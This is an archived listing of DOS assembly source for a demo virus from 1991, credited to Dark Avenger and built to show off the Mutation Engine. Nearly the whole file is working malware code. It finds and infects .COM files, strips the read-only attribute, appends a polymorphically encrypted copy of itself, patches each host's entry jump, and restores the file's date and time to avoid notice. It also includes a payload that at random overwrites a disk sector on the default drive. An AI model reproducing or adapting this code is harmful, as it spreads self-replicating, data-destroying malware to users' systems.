home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / demovir.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.4 KB  |  195 lines

  1.  
  2.  
  3. ; This is a demo virus to demonstrate
  4.  
  5. ;   the Mutation Engine <tm> usage
  6.  
  7.  
  8.  
  9. ; Version 1.01 (26-10-91)
  10.  
  11. ; (C) 1991 Dark Avenger.
  12.  
  13.  
  14.  
  15.     .model    tiny
  16.  
  17.     .radix    16
  18.  
  19.     .code
  20.  
  21.  
  22.  
  23.     extrn    mut_engine: near, rnd_get: near, rnd_init: near
  24.  
  25.     extrn    rnd_buf: word, data_top: near
  26.  
  27.  
  28.  
  29.     org    100
  30.  
  31.  
  32.  
  33. start:
  34.  
  35.     call    locadr
  36.  
  37. reladr:
  38.  
  39.     db    'We dedicate this little virus to Sara Gordon'
  40.  
  41.     db    ' who wanted to have a virus named after her.'
  42.  
  43. locadr:
  44.  
  45.     pop    dx
  46.  
  47.     mov    cl,4
  48.  
  49.     shr    dx,cl
  50.  
  51.     sub    dx,10
  52.  
  53.     mov    cx,ds
  54.  
  55.     add    cx,dx            ;Calculate new CS
  56.  
  57.     mov    dx,offset begin
  58.  
  59.     push    cx dx
  60.  
  61.     retf
  62.  
  63. begin:
  64.  
  65.     cld
  66.  
  67.     mov    di,offset start
  68.  
  69.     push    es di
  70.  
  71.     push    cs
  72.  
  73.     pop    ds
  74.  
  75.     mov    si,offset old_cod
  76.  
  77.     movsb                ;Restore first 3 bytes
  78.  
  79.     movsw
  80.  
  81.     push    ax
  82.  
  83.     mov    dx,offset dta_buf    ;Set DTA
  84.  
  85.     mov    ah,1a
  86.  
  87.     int    21
  88.  
  89.     mov    ax,3524         ;Hook INT 24
  90.  
  91.     int    21
  92.  
  93.     push    es bx
  94.  
  95.     mov    dx,offset fail_err
  96.  
  97.     mov    ax,2524
  98.  
  99.     int    21
  100.  
  101.     xor    ax,ax            ;Initialize random seed
  102.  
  103.     mov    [rnd_buf],ax
  104.  
  105.     call    rnd_init
  106.  
  107.     push    sp
  108.  
  109.     pop    cx
  110.  
  111.     sub    cx,sp
  112.  
  113.     add    cx,4
  114.  
  115.     push    cx
  116.  
  117.     mov    dx,offset srchnam
  118.  
  119.     mov    cl,3
  120.  
  121.     mov    ah,4e
  122.  
  123. find_lup:
  124.  
  125.     int    21            ;Find the next COM file
  126.  
  127.     jc    infect_done
  128.  
  129.     cmp    [dta_buf+1a],ch
  130.  
  131.     jnz    infect            ;If not infected, infect it now
  132.  
  133.     pop    cx
  134.  
  135. find_nxt:
  136.  
  137.     push    cx
  138.  
  139.     mov    dx,offset dta_buf
  140.  
  141.     mov    ah,4f
  142.  
  143.     jmp    find_lup
  144.  
  145. infect_done:
  146.  
  147.     pop    cx
  148.  
  149.     loop    find_nxt
  150.  
  151.     jnc    damage_done
  152.  
  153.     call    rnd_get
  154.  
  155.     test    al,1
  156.  
  157.     jz    damage_done
  158.  
  159.     xchg    ax,dx            ;Trash a random sector on the default
  160.  
  161.     mov    ah,19            ;  drive
  162.  
  163.     int    21
  164.  
  165.     mov    cx,1
  166.  
  167.     mov    bx,offset start
  168.  
  169.     int    26
  170.  
  171.     popf
  172.  
  173. damage_done:
  174.  
  175.     pop    dx ds
  176.  
  177.     mov    ax,2524         ;Restore INT 24
  178.  
  179.     int    21
  180.  
  181.     push    ss
  182.  
  183.     pop    ds
  184.  
  185.     mov    dx,80            ;Restore DTA
  186.  
  187.     mov    ah,1a
  188.  
  189.     int    21
  190.  
  191.     push    ds            ;Exit to program
  192.  
  193.     pop    es
  194.  
  195.     pop    ax
  196.  
  197.     retf
  198.  
  199. infect:
  200.  
  201.     xor    cx,cx            ;Reset read-only attribute
  202.  
  203.     mov    dx,offset dta_buf+1e
  204.  
  205.     mov    ax,4301
  206.  
  207.     int    21
  208.  
  209.     jc    infect_done
  210.  
  211.     mov    ax,3d02         ;Open the file
  212.  
  213.     int    21
  214.  
  215.     jc    infect_done
  216.  
  217.     xchg    ax,bx
  218.  
  219.     mov    dx,offset old_cod    ;Read first 3 bytes
  220.  
  221.     mov    cx,3
  222.  
  223.     mov    ah,3f
  224.  
  225.     int    21
  226.  
  227.     jc    read_done
  228.  
  229.     mov    ax,word ptr [old_cod]    ;Make sure it's not an EXE file
  230.  
  231.     cmp    ax,'ZM'
  232.  
  233.     jz    read_done
  234.  
  235.     cmp    ax,'MZ'
  236.  
  237.     jz    read_done
  238.  
  239.     xor    cx,cx            ;Seek at EOF
  240.  
  241.     xor    dx,dx
  242.  
  243.     mov    ax,4202
  244.  
  245.     int    21
  246.  
  247.     test    dx,dx            ;Make sure the file is not too big
  248.  
  249.     jnz    read_done
  250.  
  251.     cmp    ax,-2000
  252.  
  253.     jnc    read_done
  254.  
  255.     mov    bp,ax
  256.  
  257.     sub    ax,3
  258.  
  259.     mov    word ptr [new_cod+1],ax
  260.  
  261.     mov    ax,5700         ;Save file's date/time
  262.  
  263.     int    21
  264.  
  265.     push    dx cx
  266.  
  267.     mov    ax,offset data_top+0f
  268.  
  269.     mov    cl,4            ;Now call the Engine
  270.  
  271.     shr    ax,cl
  272.  
  273.     mov    cx,cs
  274.  
  275.     add    ax,cx
  276.  
  277.     mov    es,ax
  278.  
  279.     mov    dx,offset start
  280.  
  281.     mov    cx,offset _DATA
  282.  
  283.     push    bp bx
  284.  
  285.     add    bp,dx
  286.  
  287.     xor    si,si
  288.  
  289.     xor    di,di
  290.  
  291.     mov    bl,0f
  292.  
  293.     mov    ax,101
  294.  
  295.     call    mut_engine
  296.  
  297.     pop    bx ax
  298.  
  299.     add    ax,cx            ;Make sure file length mod 256 = 0
  300.  
  301.     neg    ax
  302.  
  303.     xor    ah,ah
  304.  
  305.     add    cx,ax
  306.  
  307.     mov    ah,40            ;Put the virus into the file
  308.  
  309.     int    21
  310.  
  311.     push    cs
  312.  
  313.     pop    ds
  314.  
  315.     jc    write_done
  316.  
  317.     sub    cx,ax
  318.  
  319.     jnz    write_done
  320.  
  321.     xor    dx,dx            ;Put the JMP instruction
  322.  
  323.     mov    ax,4200
  324.  
  325.     int    21
  326.  
  327.     mov    dx,offset new_cod
  328.  
  329.     mov    cx,3
  330.  
  331.     mov    ah,40
  332.  
  333.     int    21
  334.  
  335. write_done:
  336.  
  337.     pop    cx dx            ;Restore file's date/time
  338.  
  339.     mov    ax,5701
  340.  
  341.     int    21
  342.  
  343. read_done:
  344.  
  345.     mov    ah,3e            ;Close the file
  346.  
  347.     int    21
  348.  
  349.     jmp    infect_done
  350.  
  351.  
  352.  
  353. fail_err:                ;Critical errors handler
  354.  
  355.     mov    al,3
  356.  
  357.     iret
  358.  
  359.  
  360.  
  361. srchnam db    '*.COM',0
  362.  
  363.  
  364.  
  365. old_cod:                ;Buffer to read first 3 bytes
  366.  
  367.     ret
  368.  
  369.     dw    ?
  370.  
  371.  
  372.  
  373. new_cod:                ;Buffer to write first 3 bytes
  374.  
  375.     jmp    $+100
  376.  
  377.  
  378.  
  379.     .data
  380.  
  381.  
  382.  
  383. dta_buf db    2bh dup(?)        ;Buffer for DTA
  384.  
  385.  
  386.  
  387.     end    start
  388.  
  389.